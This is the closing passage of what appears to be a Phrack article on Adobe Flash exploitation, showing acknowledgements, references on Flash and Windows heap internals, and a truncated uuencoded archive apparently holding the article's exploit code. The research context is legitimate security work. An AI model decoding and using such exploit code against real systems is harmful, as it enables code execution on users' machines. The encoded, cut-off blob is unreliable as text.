||
|
dedicated to them.
|
||
|
|
||
|
First and foremost I would like to thank the Phrack Staff for kicking my
|
||
|
ass and motivating me to write this article. In a world of conferences and
|
||
|
fame, Phrack has managed to stay alive with original and impressive
|
||
|
content. It was the least I could to do help. It's always an honor for me
|
||
|
seeing my articles published in Phrack.
|
||
|
|
||
|
I would like to thank nemo and argp for their suggestions and insightful
|
||
|
comments. My thanks also go to my team at CENSUS (and a couple of other
|
||
|
persons who would like to remain anonymous) for giving me the chance to
|
||
|
work on this cool stuff and spend time on Adobe Flash internals. It's
|
||
|
always cool to be in a team where "client side exploitation" means
|
||
|
arbitrary code execution and not XSS :)
|
||
|
|
||
|
Chris Valasek and Tarjei Mandt for their work on Windows heap allocators.
|
||
|
Life would have been harder without their work.
|
||
|
|
||
|
Last but not least, greetings fly to my grhack.net collegues and !fapperz
|
||
|
;)
|
||
|
|
||
|
|
||
|
--[ 6 - References
|
||
|
|
||
|
[01] http://www.zerodayinitiative.com/advisories/ZDI-15-007/
|
||
|
[02] https://twitter.com/kernelbof/status/629832855842091008
|
||
|
[03] http://www.cvedetails.com/top-50-products.php
|
||
|
[04] https://blog.zimperium.com/
|
||
|
stagefright-vulnerability-details-stagefright-detector-tool-released/
|
||
|
[05] http://flex.apache.org/installer.html
|
||
|
[06] http://www.adobe.com/devnet/flex/flex-sdk-download.html
|
||
|
[07] http://www.w3.org/TR/webstorage/
|
||
|
[08] http://www.w3.org/TR/webdatabase/
|
||
|
[09] http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/
|
||
|
flash/external/ExternalInterface.html
|
||
|
[10] http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/
|
||
|
flash/net/SharedObject.html
|
||
|
[11] https://en.wikipedia.org/wiki/HTTP_Live_Streaming
|
||
|
[11] http://tools.ietf.org/html/draft-pantos-http-live-streaming-08
|
||
|
[12] https://msdn.microsoft.com/en-us/library/windows/desktop/
|
||
|
aa366710(v=vs.85).aspx
|
||
|
[13] http://www.azimuthsecurity.com/resources/bh2009_mcdonald_valasek.pdf
|
||
|
[14] http://illmatics.com/Understanding_the_LFH.pdf
|
||
|
[15] http://illmatics.com/Windows%208%20Heap%20Internals.pdf
|
||
|
[16] https://developer.apple.com/library/ios/technotes/tn2288/_index.html
|
||
|
[17] https://www.adobe.com/support/flashplayer/debug_downloads.html
|
||
|
[18] https://0b3dcaf9-a-62cb3a1a-s-sites.googlegroups.com/site/
|
||
|
zerodayresearch/smashing_the_heap_with_vector_Li.pdf
|
||
|
[19] https://msdn.microsoft.com/en-us/library/windows/desktop/
|
||
|
aa366710(v=vs.85).aspx
|
||
|
[20] http://haxe.org
|
||
|
|
||
|
|
||
|
--[ 7 - Codez
|
||
|
|
||
|
begin 644 flash_hardcode_porn.tgz
|
||
|
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
|
||
|
M+;OT`/WM.O3WK^Q_MY^E^6,MCL#2'RT0RD'=E6=BD=NJ"AU>I9,9"$:N>
|
||
|
M*$FQ3L>[N0&H(`H-6>1`KD7*`">(4H]QZBLY=^.JBL;+HO2OL!<O7K"]CP-!
|
||
|
MTX<$`2NBCX`A(`0PMEJ92Z?2Q/'NW;MVH-N[()ANI2>'RW%#$,EJ3U+QK:FC
|
||
|
M;IJ4LR4%L=%M4!\H.F5)7/\EIR=-*?'T14+B*8U6YQ?=\_V+_<NSBS4,5^<N
|
||
|
MG^&6:J2:9Q7IK!`B?]J!V(R6ILSESN_Q"2@(M9"VE*K/4@OH41E161R>NIB8
|
||
|
MZ^C,+#T11FBZK;D?[J*K+G86Y=-&&RQ(V]G%):VDE:>Z&Z0'TU=A=<ZUU5R*
|
||
|
M54V*<N2@D'\=>JN0"PX(-]>$=91P,GN)EEEV3FO?.$"YE*>K4?!((V[9MW9`
|
||
|
M323ET.-AAFH@20/%'\4MNA;&H<7$,]LF.SH?S7%1F%*B40&%3YPLQ&*EN259
|
||
|
MPQG'X<E20T[."ER_03'^VEF@Y*\&2N_8=,7M/_[$\;(UQ>$E7:`LO*LAIO?3
|
||
|
M*D;>I2)$?#7E-+"5TUGI9`G31_J"G&5\8G`?W2!M'HGZU8=$5BX7TA,-S@^?
|
||
|
MH/,U*IFI##4VW3M;V%&P!A)1PAR@>"N$5MHNH&KLD[Q[WA38<\0N@C?#H"PK
|
||
|
M\1;ME>"L^4+)INEP#ILORC$M6V'6>[A>GIUYTY52\\)Z>W]7W]%!5?\S5O4_
|
||
|
M8U7W_@Z_\X(#WE[]\[W8H=/%!)>%'ULX0,[;/`/'TN%!$1EL'-G&@-QA/N+T
|
||
|
M6<[=<VLMFH-MK<1^I')%&8F1F$J(\D8X5<N+^%A#+IL#RQ0W,79/&A[>;29L
|
||
|
MY=`#T[[5+=0L\:J_8%%:-C6NT0TQI"4(RRJ&]4D95$.`=',,T8=7J3+'A1:4
|
||
|
M0,0'UAZLBI$R[%A&0M23MIN&9SC<P^6)M+^RU\<])J:HQ)X4C>N#9(58&<;+
|
||
|
M"VF16*TI+A/*,H4PY62*=N)TN_9=-,8=*M7-+)T_1@\Q92-DABME`(Y_GZBJ
|
||
|
